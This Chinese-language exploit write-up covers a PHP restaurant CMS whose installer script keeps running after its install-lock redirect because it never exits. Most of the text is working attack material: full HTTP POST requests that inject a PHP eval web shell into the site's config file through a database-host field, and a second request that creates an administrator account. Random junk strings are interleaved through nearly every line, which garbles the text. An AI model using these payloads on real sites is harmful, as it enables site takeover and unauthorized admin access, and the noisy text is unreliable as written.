问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
2 Y0 n0 y& M- g, I; L9 q6 g& C+ d5 H H$ s
<?php1 J3 v+ {4 ?& B# a) Q3 G
if(file_exists("../install.lock"))1 J& N8 y9 w$ S$ n1 q
{
1 M. Q6 _& V8 c4 W( h. y% X header("Location: ../");//没有退出
7 ?! `( N& \# R$ @* P}9 d! ^+ W# ?# E, r9 X/ z
4 s# \6 q) {0 y# c3 f
//echo 'tst';exit;
N6 ^* L0 d) ^: erequire_once("init.php");: h% _; C$ n* ^- `, f: M
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 X& U2 V, @2 y1 z$ ?! D{5 \& o w# @- X2 l# @( K
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。. V7 D1 N3 l# ?1 E
2 h5 t+ A2 n( b
1、getshell(很危险)! b4 F: v" h, U0 b$ a
if(empty($_REQUEST['step']) || $_REQUEST['step']==1). u6 O' |1 @5 ?) V
{
& `5 [; e" T& v; x$smarty->assign("step",1);
: k" r) e$ P% a& `0 ?$ r, T4 v, \ N$smarty->display("index.html");4 u# p- z' E! i1 F( ~0 W* L
}elseif($_REQUEST['step']==2)
0 w. a& n2 F8 v6 Z{
9 p L. \7 @4 T- G G2 ^( c, n0 a( S $mysql_host=trim($_POST['mysql_host']);2 p, u2 ^2 Z1 T+ x& f+ M
$mysql_user=trim($_POST['mysql_user']);
" Y" t' d' L$ x7 n$ Y' @% y+ t $mysql_pwd=trim($_POST['mysql_pwd']);0 C0 h2 U9 \4 k& p3 |" |
$mysql_db=trim($_POST['mysql_db']); p/ r& I9 h7 U, B) a! N& c
$tblpre=trim($_POST['tblpre']);
% v5 \8 f/ ^1 r _$ R5 R w% [: `. x $domain==trim($_POST['domain']);. A! B# v+ x4 t( V* h+ \3 o
$str="<?php \r\n";
0 j E d. B6 Z8 {; ^5 ? $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";0 t/ c" L' N# G1 s
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
, e) t9 G' k8 Y0 g: f9 Q |& p $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
; t9 S6 A( A) s$ Q5 q $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
. F& f. g! g' H8 e0 G$ K4 m6 h/ V1 ] $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
+ V$ l- u' D; g3 K" g. h $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";% c- C2 _" Q6 ?& U+ P+ `# N
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
0 j* O, r P! f7 h2 c $str.='define("SKINS","default");'."\r\n";! l/ Y! k9 d- k7 l3 I
$str.='?>';6 X8 h# Y+ G% \- e" q$ x
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件) m1 \) Y1 O" R+ J- G: `- b; c! ~7 ^
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马7 Z0 `6 |4 o/ _4 V
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
: M9 |5 q `( u+ p/ Y% UHost: 192.168.80.129) f8 }0 E7 a& F
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0% a* I: x7 Y* H* E0 b
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# P( w; K% s A- I$ y+ j2 s$ AAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
/ A5 p- D+ k# }2 zAccept-Encoding: gzip, deflate% j P B/ }9 `7 _% h* `" x4 |
Referer: http://192.168.80.129/canting/install/index.php?step=1
' u6 {# P* e9 q3 O }: b6 ^* ZCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
; i, b3 _$ ]6 r& N* R7 I4 BContent-Type: application/x-www-form-urlencoded
# k2 @2 K5 x' I* K# hContent-Length: 126
. P5 ~0 b/ m, Q* g- `
N! y& H. o4 _/ o3 ], c/ ]2 bmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD6 P" d2 A% o% I7 V: V) C
但是这个方法很危险,将导致网站无法运行。
. {6 C4 W8 U" N$ o9 P
! x; w) y; l, I. B2、直接添加管理员
/ I: F6 K1 Z3 R4 I+ _ I
8 ]. {. R# l$ Ielseif($_REQUEST['step']==5)
4 B0 @- r- O3 `: x{
- N, K" e, }% k5 d if($_POST)2 a w" O# U1 s# @) c% w
{ require_once("../config/config.inc.php");
9 F# ?) v( \ D7 _, U& p $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);" b1 r: r$ I7 k. v( i: t2 u
mysql_select_db(MYSQL_DB,$link);
; ^- _% [$ D. z mysql_query("SET NAMES ".MYSQL_CHARSET );
2 ^2 `- Z3 Z3 m/ V/ `7 R+ L mysql_query("SET sql_mode=''");- v6 w$ H$ @/ e) a
. \3 m0 e# j! d# ? $adminname=trim($_POST['adminname']);& o! D7 b& F+ A. D7 g/ Q) C
$pwd1=trim($_POST['pwd1']);- k2 L, G# o& m! E8 ?# d) X
$pwd2=trim($_POST['pwd2']);/ S w2 f# X A* i) R! `
if(empty($adminname))
0 w: a# G& `1 I/ F) n5 O8 ~ {
) S) U6 [: E, z4 w: w4 A
2 B1 x% }# f, V A5 ~- m echo "<script>alert('管理员不能为空');history.go(-1);</script>";
h8 w2 I" z9 O0 [( L" P exit();& H9 H, a7 S1 Y
}
# e/ \ t' c/ W6 [* ~! A1 A3 s1 X if(($pwd1!=$pwd2) or empty($pwd1))- W- j& i' i8 D3 G# u |+ ~: J
{
. Q. Y/ Q8 p, U1 [) |' ~% w9 }5 E5 { echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
- e* `6 X( ^) h$ m+ v r( v6 X' Q }% C% f0 r5 {3 v) l
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
8 |& `) N. T; \3 p& u( g" K }
$ x. c, ^4 `+ z8 [7 F这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:* ~! y# S/ f, v2 Q- F/ B' V
POST /canting/install/index.php?m=index&step=5 HTTP/1.11 T7 v0 D+ h! Y8 Z7 R1 k& @ i
Host: 192.168.80.129, N5 w8 w2 P% N) l; ~7 ~6 u( h
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
; N( l$ ~/ P2 x% I3 W5 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
; k' }$ Q; ~- _5 ^0 t& pAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3; v1 r( i6 E- m! I$ I. }) G
Accept-Encoding: gzip, deflate& |3 |5 Y% R0 `% n. T
Referer: http://www.2cto.com /canting/install/index.php?step=1
* r7 @ r# U# R4 ~Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42- E S2 f6 l/ D* m# B
Content-Type: application/x-www-form-urlencoded
1 E% M# ?& I# P! S2 M1 \Content-Length: 460 M" ~; x7 A( l( Q
: C2 b0 A3 O- H
adminname=qingshen&pwd1=qingshen&pwd2=qingshen' o" g2 A7 e l
|